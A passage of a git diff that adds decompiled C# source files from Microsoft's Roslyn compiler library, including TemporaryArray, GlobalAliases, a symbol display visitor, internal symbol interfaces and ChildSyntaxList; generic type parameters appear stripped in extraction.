this[_count - 1] = item; + } + else + { + MoveInlineToBuilder(); + _builder.Add(item); + } + } + + public void AddRange(ImmutableArray items) + { + if (_builder != null) + { + _builder.AddRange(items); + } + else if (_count + items.Length <= 4) + { + ImmutableArray.Enumerator enumerator = items.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + _count++; + this[_count - 1] = current; + } + } + else + { + MoveInlineToBuilder(); + _builder.AddRange(items); + } + } + + public void AddRange(in TemporaryArray items) + { + if (_count + items.Count <= 4) + { + Enumerator enumerator = items.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + _count++; + this[_count - 1] = current; + } + } + else + { + MoveInlineToBuilder(); + Enumerator enumerator = items.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current2 = enumerator.Current; + _builder.Add(current2); + } + } + } + + public void Clear() + { + if (_builder != null) + { + _builder.Clear(); + } + else + { + this = Empty; + } + } + + public T RemoveLast() + { + int count = Count; + T result = this[count - 1]; + this[count - 1] = default(T); + if (_builder != null) + { + _builder.Count--; + return result; + } + _count--; + return result; + } + + public readonly bool Contains(T value) + { + if (_builder != null) + { + return _builder.Contains(value); + } + Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (EqualityComparer.Default.Equals(current, value)) + { + return true; + } + } + return false; + } + + public readonly Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + public ImmutableArray ToImmutableAndClear() + { + if (_builder != null) + { + return _builder.ToImmutableAndClear(); + } + object result = _count switch + { + 0 => ImmutableArray.Empty, + 1 => ImmutableArray.Create(_item0), + 2 => ImmutableArray.Create(_item0, _item1), + 3 => ImmutableArray.Create(_item0, _item1, _item2), + 4 => ImmutableArray.Create(_item0, _item1, _item2, _item3), + _ => throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Collections/TemporaryArray`1.cs", 288), + }; + this = Empty; + return (ImmutableArray)result; + } + + [MemberNotNull("_builder")] + private void MoveInlineToBuilder() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (int i = 0; i < _count; i++) + { + instance.Add(this[i]); + this[i] = default(T); + } + _count = 0; + _builder = instance; + } + + public void ReverseContents() + { + if (_builder != null) + { + _builder.ReverseContents(); + return; + } + int count = _count; + if (count > 1) + { + switch (count) + { + case 2: + { + T item = _item1; + T item2 = _item0; + _item0 = item; + _item1 = item2; + break; + } + case 3: + { + T item2 = _item2; + T item = _item0; + _item0 = item2; + _item2 = item; + break; + } + case 4: + { + T item = _item3; + T item2 = _item2; + T item3 = _item1; + T item4 = _item0; + _item0 = item; + _item1 = item2; + _item2 = item3; + _item3 = item4; + break; + } + default: + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Collections/TemporaryArray`1.cs", 350); + } + } + } + + private static void ThrowIndexOutOfRangeException() + { + throw new IndexOutOfRangeException(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Shared.Collections/TemporaryArrayExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Shared.Collections/TemporaryArrayExtensions.cs new file mode 100644 index 0000000..1f89e0c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Shared.Collections/TemporaryArrayExtensions.cs @@ -0,0 +1,56 @@ +using System; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.Shared.Collections; + +internal static class TemporaryArrayExtensions +{ + public static ref TemporaryArray AsRef(this in TemporaryArray array) + { + return ref Unsafe.AsRef(in array); + } + + public static bool Any(this in TemporaryArray array, Func predicate) + { + TemporaryArray.Enumerator enumerator = array.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (predicate(current)) + { + return true; + } + } + return false; + } + + public static bool All(this in TemporaryArray array, Func predicate) + { + TemporaryArray.Enumerator enumerator = array.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (!predicate(current)) + { + return false; + } + } + return true; + } + + public static void AddIfNotNull(this ref TemporaryArray array, T? value) where T : struct + { + if (value.HasValue) + { + array.Add(value.Value); + } + } + + public static void AddIfNotNull(this ref TemporaryArray array, T? value) where T : class + { + if (value != null) + { + array.Add(value); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.SourceGeneration/GlobalAliases.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.SourceGeneration/GlobalAliases.cs new file mode 100644 index 0000000..ef60126 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.SourceGeneration/GlobalAliases.cs @@ -0,0 +1,99 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.SourceGeneration; + +internal sealed class GlobalAliases : IEquatable +{ + public static readonly GlobalAliases Empty = new GlobalAliases(ImmutableArray<(string, string)>.Empty); + + public readonly ImmutableArray<(string aliasName, string symbolName)> AliasAndSymbolNames; + + private int _hashCode; + + private GlobalAliases(ImmutableArray<(string aliasName, string symbolName)> aliasAndSymbolNames) + { + AliasAndSymbolNames = aliasAndSymbolNames; + } + + public static GlobalAliases Create(ImmutableArray<(string aliasName, string symbolName)> aliasAndSymbolNames) + { + if (!aliasAndSymbolNames.IsEmpty) + { + return new GlobalAliases(aliasAndSymbolNames); + } + return Empty; + } + + public static GlobalAliases Create(ImmutableArray aliasesArray) + { + if (aliasesArray.Length == 0) + { + return Empty; + } + if (aliasesArray.Length == 1) + { + return aliasesArray[0]; + } + ArrayBuilder<(string, string)> instance = ArrayBuilder<(string, string)>.GetInstance(aliasesArray.Sum((GlobalAliases a) => a.AliasAndSymbolNames.Length)); + ImmutableArray.Enumerator enumerator = aliasesArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + GlobalAliases current = enumerator.Current; + instance.AddRange(current.AliasAndSymbolNames); + } + return Create(instance.ToImmutableAndFree()); + } + + public static GlobalAliases Concat(GlobalAliases ga1, GlobalAliases ga2) + { + if (ga1.AliasAndSymbolNames.Length == 0) + { + return ga2; + } + if (ga2.AliasAndSymbolNames.Length == 0) + { + return ga1; + } + return new GlobalAliases(ga1.AliasAndSymbolNames.Concat(ga2.AliasAndSymbolNames)); + } + + public override int GetHashCode() + { + if (_hashCode == 0) + { + int num = 0; + ImmutableArray<(string, string)>.Enumerator enumerator = AliasAndSymbolNames.GetEnumerator(); + while (enumerator.MoveNext()) + { + num = Hash.Combine(enumerator.Current.GetHashCode(), num); + } + _hashCode = ((num == 0) ? 1 : num); + } + return _hashCode; + } + + public override bool Equals(object? obj) + { + return Equals(obj as GlobalAliases); + } + + public bool Equals(GlobalAliases? aliases) + { + if (aliases == null) + { + return false; + } + if (this == aliases) + { + return true; + } + if (AliasAndSymbolNames == aliases.AliasAndSymbolNames) + { + return true; + } + return AliasAndSymbolNames.AsSpan().SequenceEqual(aliases.AliasAndSymbolNames.AsSpan()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.SymbolDisplay/AbstractSymbolDisplayVisitor.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.SymbolDisplay/AbstractSymbolDisplayVisitor.cs new file mode 100644 index 0000000..15288f3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.SymbolDisplay/AbstractSymbolDisplayVisitor.cs @@ -0,0 +1,319 @@ +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.SymbolDisplay; + +internal abstract class AbstractSymbolDisplayVisitor : SymbolVisitor +{ + protected readonly ArrayBuilder builder; + + protected readonly SymbolDisplayFormat format; + + protected readonly bool isFirstSymbolVisited; + + protected readonly bool inNamespaceOrType; + + protected readonly SemanticModel semanticModelOpt; + + protected readonly int positionOpt; + + private AbstractSymbolDisplayVisitor _lazyNotFirstVisitor; + + private AbstractSymbolDisplayVisitor _lazyNotFirstVisitorNamespaceOrType; + + protected AbstractSymbolDisplayVisitor NotFirstVisitor + { + get + { + if (_lazyNotFirstVisitor == null) + { + _lazyNotFirstVisitor = MakeNotFirstVisitor(); + } + return _lazyNotFirstVisitor; + } + } + + protected AbstractSymbolDisplayVisitor NotFirstVisitorNamespaceOrType + { + get + { + if (_lazyNotFirstVisitorNamespaceOrType == null) + { + _lazyNotFirstVisitorNamespaceOrType = MakeNotFirstVisitor(inNamespaceOrType: true); + } + return _lazyNotFirstVisitorNamespaceOrType; + } + } + + protected bool IsMinimizing => semanticModelOpt != null; + + protected AbstractSymbolDisplayVisitor(ArrayBuilder builder, SymbolDisplayFormat format, bool isFirstSymbolVisited, SemanticModel semanticModelOpt, int positionOpt, bool inNamespaceOrType = false) + { + this.builder = builder; + this.format = format; + this.isFirstSymbolVisited = isFirstSymbolVisited; + this.semanticModelOpt = semanticModelOpt; + this.positionOpt = positionOpt; + this.inNamespaceOrType = inNamespaceOrType; + if (!isFirstSymbolVisited) + { + _lazyNotFirstVisitor = this; + } + } + + protected abstract AbstractSymbolDisplayVisitor MakeNotFirstVisitor(bool inNamespaceOrType = false); + + protected abstract void AddLiteralValue(SpecialType type, object value); + + protected abstract void AddExplicitlyCastedLiteralValue(INamedTypeSymbol namedType, SpecialType type, object value); + + protected abstract void AddSpace(); + + protected abstract void AddBitwiseOr(); + + protected void AddNonNullConstantValue(ITypeSymbol type, object constantValue, bool preferNumericValueOrExpandedFlagsForEnum = false) + { + if (ITypeSymbolHelpers.IsNullableType(type)) + { + type = ITypeSymbolHelpers.GetNullableUnderlyingType(type); + } + if (type.TypeKind == TypeKind.Enum) + { + AddEnumConstantValue((INamedTypeSymbol)type, constantValue, preferNumericValueOrExpandedFlagsForEnum); + } + else + { + AddLiteralValue(type.SpecialType, constantValue); + } + } + + private void AddEnumConstantValue(INamedTypeSymbol enumType, object constantValue, bool preferNumericValueOrExpandedFlags) + { + if (IsFlagsEnum(enumType)) + { + AddFlagsEnumConstantValue(enumType, constantValue, preferNumericValueOrExpandedFlags); + } + else if (preferNumericValueOrExpandedFlags) + { + AddLiteralValue(enumType.EnumUnderlyingType.SpecialType, constantValue); + } + else + { + AddNonFlagsEnumConstantValue(enumType, constantValue); + } + } + + private static bool IsFlagsEnum(ITypeSymbol typeSymbol) + { + if (typeSymbol.TypeKind != TypeKind.Enum) + { + return false; + } + ImmutableArray.Enumerator enumerator = typeSymbol.GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + IMethodSymbol attributeConstructor = enumerator.Current.AttributeConstructor; + if (attributeConstructor == null) + { + continue; + } + INamedTypeSymbol containingType = attributeConstructor.ContainingType; + if (!attributeConstructor.Parameters.Any() && containingType.Name == "FlagsAttribute") + { + ISymbol containingSymbol = containingType.ContainingSymbol; + if (containingSymbol.Kind == SymbolKind.Namespace && containingSymbol.Name == "System" && ((INamespaceSymbol)containingSymbol.ContainingSymbol).IsGlobalNamespace) + { + return true; + } + } + } + return false; + } + + private void AddFlagsEnumConstantValue(INamedTypeSymbol enumType, object constantValue, bool preferNumericValueOrExpandedFlags) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetSortedEnumFields(enumType, instance); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + try + { + AddFlagsEnumConstantValue(enumType, constantValue, instance, instance2, preferNumericValueOrExpandedFlags); + } + finally + { + instance.Free(); + instance2.Free(); + } + } + + private void AddFlagsEnumConstantValue(INamedTypeSymbol enumType, object constantValue, ArrayBuilder allFieldsAndValues, ArrayBuilder usedFieldsAndValues, bool preferNumericValueOrExpandedFlags) + { + SpecialType specialType = enumType.EnumUnderlyingType.SpecialType; + ulong num = EnumUtilities.ConvertEnumUnderlyingTypeToUInt64(constantValue, specialType); + ulong num2 = num; + if (num2 != 0L) + { + ArrayBuilder.Enumerator enumerator = allFieldsAndValues.GetEnumerator(); + while (enumerator.MoveNext()) + { + EnumField current = enumerator.Current; + ulong value = current.Value; + if ((!preferNumericValueOrExpandedFlags || value != num) && value != 0L && (num2 & value) == value) + { + usedFieldsAndValues.Add(current); + num2 -= value; + if (num2 == 0L) + { + break; + } + } + } + } + if (num2 == 0L && usedFieldsAndValues.Count > 0) + { + for (int num3 = usedFieldsAndValues.Count - 1; num3 >= 0; num3--) + { + if (num3 != usedFieldsAndValues.Count - 1) + { + AddSpace(); + AddBitwiseOr(); + AddSpace(); + } + ((IFieldSymbol)usedFieldsAndValues[num3].IdentityOpt).Accept(NotFirstVisitor); + } + } + else if (preferNumericValueOrExpandedFlags) + { + AddLiteralValue(specialType, constantValue); + } + else + { + EnumField enumField = ((num == 0L) ? EnumField.FindValue(allFieldsAndValues, 0uL) : default(EnumField)); + if (!enumField.IsDefault) + { + ((IFieldSymbol)enumField.IdentityOpt).Accept(NotFirstVisitor); + } + else + { + AddExplicitlyCastedLiteralValue(enumType, specialType, constantValue); + } + } + } + + private static void GetSortedEnumFields(INamedTypeSymbol enumType, ArrayBuilder enumFields) + { + SpecialType specialType = enumType.EnumUnderlyingType.SpecialType; + ImmutableArray.Enumerator enumerator = enumType.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + if (current.Kind == SymbolKind.Field) + { + IFieldSymbol fieldSymbol = (IFieldSymbol)current; + if (fieldSymbol.HasConstantValue) + { + EnumField item = new EnumField(fieldSymbol.Name, EnumUtilities.ConvertEnumUnderlyingTypeToUInt64(fieldSymbol.ConstantValue, specialType), fieldSymbol); + enumFields.Add(item); + } + } + } + enumFields.Sort(EnumField.Comparer); + } + + private void AddNonFlagsEnumConstantValue(INamedTypeSymbol enumType, object constantValue) + { + SpecialType specialType = enumType.EnumUnderlyingType.SpecialType; + ulong value = EnumUtilities.ConvertEnumUnderlyingTypeToUInt64(constantValue, specialType); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetSortedEnumFields(enumType, instance); + EnumField enumField = EnumField.FindValue(instance, value); + if (!enumField.IsDefault) + { + ((IFieldSymbol)enumField.IdentityOpt).Accept(NotFirstVisitor); + } + else + { + AddExplicitlyCastedLiteralValue(enumType, specialType, constantValue); + } + instance.Free(); + } + + protected abstract bool ShouldRestrictMinimallyQualifyLookupToNamespacesAndTypes(); + + protected bool NameBoundSuccessfullyToSameSymbol(INamedTypeSymbol symbol) + { + ISymbol symbol2 = SingleSymbolWithArity(ShouldRestrictMinimallyQualifyLookupToNamespacesAndTypes() ? semanticModelOpt.LookupNamespacesAndTypes(positionOpt, null, symbol.Name) : semanticModelOpt.LookupSymbols(positionOpt, null, symbol.Name), symbol.Arity); + if (symbol2 == null) + { + return false; + } + if (symbol2.Equals(symbol.OriginalDefinition)) + { + return true; + } + ISymbol symbol3 = SingleSymbolWithArity(semanticModelOpt.LookupNamespacesAndTypes(positionOpt, null, symbol.Name), symbol.Arity); + if (symbol3 == null) + { + return false; + } + ITypeSymbol symbolType = GetSymbolType(symbol2); + ITypeSymbol symbolType2 = GetSymbolType(symbol3); + if (symbolType != null && symbolType2 != null && symbolType.Equals(symbolType2)) + { + return symbol3.Equals(symbol.OriginalDefinition); + } + return false; + } + + private static ISymbol SingleSymbolWithArity(ImmutableArray candidates, int desiredArity) + { + ISymbol symbol = null; + ImmutableArray.Enumerator enumerator = candidates.GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + if (current.Kind switch + { + SymbolKind.NamedType => ((INamedTypeSymbol)current).Arity, + SymbolKind.Method => ((IMethodSymbol)current).Arity, + _ => 0, + } == desiredArity) + { + if (symbol != null) + { + symbol = null; + break; + } + symbol = current; + } + } + return symbol; + } + + protected static ITypeSymbol GetSymbolType(ISymbol symbol) + { + if (symbol is ILocalSymbol localSymbol) + { + return localSymbol.Type; + } + if (symbol is IFieldSymbol fieldSymbol) + { + return fieldSymbol.Type; + } + if (symbol is IPropertySymbol propertySymbol) + { + return propertySymbol.Type; + } + if (symbol is IParameterSymbol parameterSymbol) + { + return parameterSymbol.Type; + } + if (symbol is IAliasSymbol aliasSymbol) + { + return aliasSymbol.Target as ITypeSymbol; + } + return symbol as ITypeSymbol; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/CommonAnonymousTypeManager.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/CommonAnonymousTypeManager.cs new file mode 100644 index 0000000..32a9876 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/CommonAnonymousTypeManager.cs @@ -0,0 +1,13 @@ +namespace Microsoft.CodeAnalysis.Symbols; + +internal abstract class CommonAnonymousTypeManager +{ + private ThreeState _templatesSealed = ThreeState.False; + + internal bool AreTemplatesSealed => _templatesSealed == ThreeState.True; + + protected void SealTemplates() + { + _templatesSealed = ThreeState.True; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IAssemblySymbolInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IAssemblySymbolInternal.cs new file mode 100644 index 0000000..10ff138 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IAssemblySymbolInternal.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface IAssemblySymbolInternal : ISymbolInternal +{ + Version? AssemblyVersionPattern { get; } + + AssemblyIdentity Identity { get; } + + IAssemblySymbolInternal CorLibrary { get; } + + IEnumerable> GetInternalsVisibleToPublicKeys(string simpleName); + + IEnumerable GetInternalsVisibleToAssemblyNames(); + + bool AreInternalsVisibleToThisAssembly(IAssemblySymbolInternal? otherAssembly); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IFieldSymbolInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IFieldSymbolInternal.cs new file mode 100644 index 0000000..7c01064 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IFieldSymbolInternal.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface IFieldSymbolInternal : ISymbolInternal +{ + bool IsVolatile { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ILocalSymbolInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ILocalSymbolInternal.cs new file mode 100644 index 0000000..e5040bf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ILocalSymbolInternal.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface ILocalSymbolInternal : ISymbolInternal +{ + bool IsImportedFromMetadata { get; } + + SynthesizedLocalKind SynthesizedKind { get; } + + SyntaxNode GetDeclaratorSyntax(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IMethodSymbolInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IMethodSymbolInternal.cs new file mode 100644 index 0000000..a05bc5b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IMethodSymbolInternal.cs @@ -0,0 +1,12 @@ +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface IMethodSymbolInternal : ISymbolInternal +{ + bool IsIterator { get; } + + bool IsAsync { get; } + + int CalculateLocalSyntaxOffset(int declaratorPosition, SyntaxTree declaratorTree); + + IMethodSymbolInternal Construct(params ITypeSymbolInternal[] typeArguments); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IModuleSymbolInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IModuleSymbolInternal.cs new file mode 100644 index 0000000..ff6acf0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IModuleSymbolInternal.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface IModuleSymbolInternal : ISymbolInternal +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/INamedTypeSymbolInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/INamedTypeSymbolInternal.cs new file mode 100644 index 0000000..96fedb9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/INamedTypeSymbolInternal.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface INamedTypeSymbolInternal : ITypeSymbolInternal, INamespaceOrTypeSymbolInternal, ISymbolInternal +{ + INamedTypeSymbolInternal EnumUnderlyingType { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/INamespaceOrTypeSymbolInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/INamespaceOrTypeSymbolInternal.cs new file mode 100644 index 0000000..1b9c75c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/INamespaceOrTypeSymbolInternal.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface INamespaceOrTypeSymbolInternal : ISymbolInternal +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/INamespaceSymbolInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/INamespaceSymbolInternal.cs new file mode 100644 index 0000000..e40869d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/INamespaceSymbolInternal.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface INamespaceSymbolInternal : INamespaceOrTypeSymbolInternal, ISymbolInternal +{ + bool IsGlobalNamespace { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IParameterSymbolInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IParameterSymbolInternal.cs new file mode 100644 index 0000000..9d1e64c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/IParameterSymbolInternal.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface IParameterSymbolInternal : ISymbolInternal +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ISourceAssemblySymbolInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ISourceAssemblySymbolInternal.cs new file mode 100644 index 0000000..fe0c45f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ISourceAssemblySymbolInternal.cs @@ -0,0 +1,14 @@ +using System.Reflection; + +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface ISourceAssemblySymbolInternal : IAssemblySymbolInternal, ISymbolInternal +{ + AssemblyFlags AssemblyFlags { get; } + + string? SignatureKey { get; } + + AssemblyHashAlgorithm HashAlgorithm { get; } + + bool InternalsAreVisible { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ISymbolInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ISymbolInternal.cs new file mode 100644 index 0000000..c91468d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ISymbolInternal.cs @@ -0,0 +1,51 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface ISymbolInternal +{ + SymbolKind Kind { get; } + + string Name { get; } + + string MetadataName { get; } + + Compilation DeclaringCompilation { get; } + + ISymbolInternal ContainingSymbol { get; } + + IAssemblySymbolInternal ContainingAssembly { get; } + + IModuleSymbolInternal ContainingModule { get; } + + INamedTypeSymbolInternal ContainingType { get; } + + INamespaceSymbolInternal ContainingNamespace { get; } + + bool IsDefinition { get; } + + ImmutableArray Locations { get; } + + bool IsImplicitlyDeclared { get; } + + Accessibility DeclaredAccessibility { get; } + + bool IsStatic { get; } + + bool IsVirtual { get; } + + bool IsOverride { get; } + + bool IsAbstract { get; } + + bool Equals(ISymbolInternal? other, TypeCompareKind compareKind); + + ISymbol GetISymbol(); + + IReference GetCciAdapter(); + + bool IsDefinedInSourceTree(SyntaxTree tree, TextSpan? definedWithinSpan, CancellationToken cancellationToken = default(CancellationToken)); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ISynthesizedGlobalMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ISynthesizedGlobalMethodSymbol.cs new file mode 100644 index 0000000..8aa0166 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ISynthesizedGlobalMethodSymbol.cs @@ -0,0 +1,8 @@ +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface ISynthesizedGlobalMethodSymbol +{ + PrivateImplementationDetails ContainingPrivateImplementationDetailsType { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ISynthesizedMethodBodyImplementationSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ISynthesizedMethodBodyImplementationSymbol.cs new file mode 100644 index 0000000..e78687f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ISynthesizedMethodBodyImplementationSymbol.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface ISynthesizedMethodBodyImplementationSymbol : ISymbolInternal +{ + IMethodSymbolInternal? Method { get; } + + bool HasMethodBodyDependency { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ITypeParameterSymbolInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ITypeParameterSymbolInternal.cs new file mode 100644 index 0000000..dd067db --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ITypeParameterSymbolInternal.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface ITypeParameterSymbolInternal : ITypeSymbolInternal, INamespaceOrTypeSymbolInternal, ISymbolInternal +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ITypeSymbolInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ITypeSymbolInternal.cs new file mode 100644 index 0000000..72dfb06 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Symbols/ITypeSymbolInternal.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis.Symbols; + +internal interface ITypeSymbolInternal : INamespaceOrTypeSymbolInternal, ISymbolInternal +{ + TypeKind TypeKind { get; } + + SpecialType SpecialType { get; } + + bool IsReferenceType { get; } + + bool IsValueType { get; } + + ITypeSymbol GetITypeSymbol(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/ChildSyntaxList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/ChildSyntaxList.cs new file mode 100644 index 0000000..15e33ed --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/ChildSyntaxList.cs @@ -0,0 +1,221 @@ +namespace Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +internal struct ChildSyntaxList +{ + internal struct Enumerator + { + private readonly GreenNode? _node; + + private int _childIndex; + + private GreenNode? _list; + + private int _listIndex; + + private GreenNode? _currentChild; + + public GreenNode Current => _currentChild; + + internal Enumerator(GreenNode? node) + { + _node = node; + _childIndex = -1; + _listIndex = -1; + _list = null; + _currentChild = null; + } + + public bool MoveNext() + { + if (_node != null) + { + if (_list != null) + { + _listIndex++; + if (_listIndex < _list.SlotCount) + { + _currentChild = _list.GetSlot(_listIndex); + return true; + } + _list = null; + _listIndex = -1; + } + while (true) + { + _childIndex++; + if (_childIndex == _node.SlotCount) + { + break; + } + GreenNode slot = _node.GetSlot(_childIndex); + if (slot != null) + { + if (slot.RawKind != 1) + { + _currentChild = slot; + return true; + } + _list = slot; + _listIndex++; + if (_listIndex < _list.SlotCount) + { + _currentChild = _list.GetSlot(_listIndex); + return true; + } + _list = null; + _listIndex = -1; + } + } + } + _currentChild = null; + return false; + } + } + + internal readonly struct Reversed + { + internal struct Enumerator + { + private readonly GreenNode? _node; + + private int _childIndex; + + private GreenNode? _list; + + private int _listIndex; + + private GreenNode? _currentChild; + + public GreenNode Current => 